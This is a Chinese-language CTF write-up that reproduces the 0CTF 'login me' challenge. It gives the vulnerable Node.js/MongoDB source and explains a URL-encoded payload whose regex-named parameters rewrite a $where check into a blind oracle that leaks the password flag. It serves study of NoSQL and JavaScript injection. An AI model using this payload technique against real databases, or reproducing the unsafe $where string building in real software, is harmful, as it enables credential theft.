Fork me on GitHub

复现0ctf-login me(nodejs+mongodb)

参考文献:https://xz.aliyun.com/t/2300
https://coxxs.me/676

本地环境:ubuntu16.04

mongodb搭建

其他基本操作可看此文章:https://www.jianshu.com/p/8fd5632e4e35

sudo apt-get install mongodb//安装mongodb
service mongodb start//启动mongodb服务
mongo//进入mongo

安装nodejs

sudo apt-get install nodejs
sudo apt-get install npm

  • 使用node指令,发现报错

    apt install nodejs-legacy

启动服务

  • 启动我们的index.js文件

    node index.js

  • 发现模块没安装(和python差不多),于是装模块
    1
    2
    3
    4
    npm install express
    npm install moment
    npm install mongodb
    npm install body-parser

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//引入模块,类似python(引入`express,body-parser,path,moment`模块)
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');

//nodejs与mongodb的连接
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";

MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});

源码分析

  • 1
    2
    3
    4
    5
    6
    var express = require('express')
    var app = express()
    var bodyParser = require('body-parser')
    app.use(bodyParser.urlencoded({}));
    var path = require("path");
    var moment = require('moment');

引入模块,类似python(引入express,body-parser,path,moment模块)

  • 1
    2
    3
    var MongoClient = require('mongodb').MongoClient;
    var url = "mongodb://localhost:27017/";
    nodejs与mongodb连接

与数据库连接
*

1
2
3
4
5
6
7
8
9
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;

与数据库连接上后,可知:
数据库名:test_db
数据表名:users
列名:①username
② last_access(其中moment().format(‘YYYY-MM-DD HH:mm:ss Z’)是查看当前时间,类似2018-05-12 16:49:50)
③password(其中Math.random().toString(36).slice(2)是生成一段随机文本,生成后类似password_dr6e3wjsjn5c23xr,password就是flag

  • 1
    2
    3
    4
    5
    6
    dbo.collection(collection_name).remove({});
    dbo.collection(collection_name).update(
    { name: myobj.name },
    myobj,
    { upsert: true }
    );

把之前的都删了,然后更新成最新的。所以,password这一列的列名每个人都不一样,但是对应的flag不会变,给注入加大了难度,即无列名注入

  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    app.get('/', function (req, res) {
    res.sendFile(path.join(__dirname,'index.html'));
    })
    app.post('/check', function (req, res) {
    var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
    for(var k in req.body){
    var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
    if(!valid) res.send('Nope');
    check_function = check_function.replace(
    new RegExp('#'+k+'#','gm')
    ,JSON.stringify(req.body[k]))
    }
    var query = {"$where" : check_function};
    var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
    dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
    if(e) throw e;
    res.send('ok');
    // ... implementing, plz dont release this.
    });
    })

两个路由:
get路由就是直接访问这个页面,会打印index.html的源代码
post路由就是一个拼接,大致上就是看post的usernamepassword是否带有危险参数'#','(',')',携带了就返回nope,若未携带,则进行拼接查询,将结果的last_access时间更改为最新的,然后返回ok

  • 1
    app.listen(8081)

服务端口,即服务在8081端口上

攻击点

1
2
3
4
5
6
7
8
9
for(var k in req.body){
//恶意字符检测:
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');

check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}


req.body是一个键值数组,而k是键名

new RegExp('#'+k+'#','gm')其中g全局匹配;m多行,让开始和结束字符(^ 和 $)工作在多行模式工作(例如,^$可以匹配字符串中每一行的开始和结束(行是由 \n\r 分割的),而不只是整个输入字符串的最开始和最末尾处

合起来就是匹配#键名#这样的字符串,然后格式化一下JSON.stringify(req.body[k]),即用值代替。(例如#username#这样的字符串就被替换成了值admin

正则

  • 将其中的 ... && hex_md5(#password#) == this.password_column){ ...替换为以下形式中的一种,以便进行逐位爆破:

    1
    2
    3
    ... && #password# == this.password_column.substr( ... )){ ... // 无法替换出 ( ),放弃
    ... && #password# <= this.password_column){ ... // <= 左右会出现引号,无法处理,放弃
    ... && #password# <= this["password_column"]){ ... // <= 左右会出现引号,但可以用作 "password" 和 "password_column" 中的引号,可以尝试
  • payload

    1
    username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B
  • 解码后我们得到的req.body为:

    1
    'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'
  • 键名

    1
    2
    3
    4
    5
    6
    7
    username
    ①?(?=\){)|1
    ②?== this.|1
    ③?hex.*?rd.*?"|1
    ④?"(?=\\))|1
    ⑤?0;|1
    ⑥?skysec.top|1

?….|1

  • 其中?匹配前面的子表达式零次或一次,或指明一个非贪婪限定符,这里的?用于匹配前面的#
  • ....是自己构造的正则
  • |指明两项之间的一个选择,所以|1即如果前面匹配成功,则不再往后匹配

所以,这样就导致#对自己填写的正则无任何作用,作用的一直是自己构造的正则

?(?=\){)|1

  • 即去掉外层包裹为(?=\){),去掉转义为(?=){),再去掉最外面包裹的括号为?=){(断言,只匹配一个位置)
    这里即匹配){,它的值为] +

那么check_fuction(if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;})变为

1
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_6ya2mt945d9jatt9"] +"){\nreturn 1;\n}else{\nreturn 0;}

为构造this["password_column"]铺垫

?== this.|1

  • 去掉外层包裹为== this.,即匹配== this.这个字符串
    它的值为<=this[

那么check_fuction变为

1
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) "<=this["password_6ya2mt945d9jatt9"] +"){\nreturn 1;\n}else{\nreturn 0;}

构造出比较符<=,并且彻底闭合this["password_column"]

?hex.*?rd.*?"|1

  • 去掉外层包裹为hex.*?rd.*?",这里是匹配hex_md5(#password#)
    它的值为123
    那么check_fuction变为
    1
    if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +"){\nreturn 1;\n}else{\nreturn 0;}

hex_md5直接替换成任意值,即想要注出的password

?"(?=\\))|1

  • 去掉外层包裹为"(?=\\)),去掉转义为"(?=\))(断言)
    那么这里只想匹配双引号,并且是后面有)的双引号,它的值为""

那么check_fuction变为

1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){\nreturn 1;\n}else{\nreturn 0;}

这一步的作用即闭合引号

?0;|1

  • 去掉外层包裹为0;,就是匹配0;
    它的值为skysec.top

那么check_function变为

1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){\nreturn 1;\n}else{return\n"skysec.top"}

这一步的作用就是将return后的值变成一个特殊字符(skysec.top)

?skysec.top|1

  • 去掉外层包裹为skysec.top,即匹配skysec.top字符串
    它的值'+a+'

那么check_function变为

1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){?skysec.top|1

去掉外层包裹

1
skysec.top

即匹配skysec.top字符串
然后替换为值

1
'+a+'

最后我们得到的check_function为

1
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){\nreturn 1;\n}else{return\n ""+a+""}

若前面猜测的password(123)小于等于正确的password,那么将return 1
此时程序正常,反之,则return a,因不存在这个定义的a,那么将会抛出错误

-------------本文结束感谢您的阅读-------------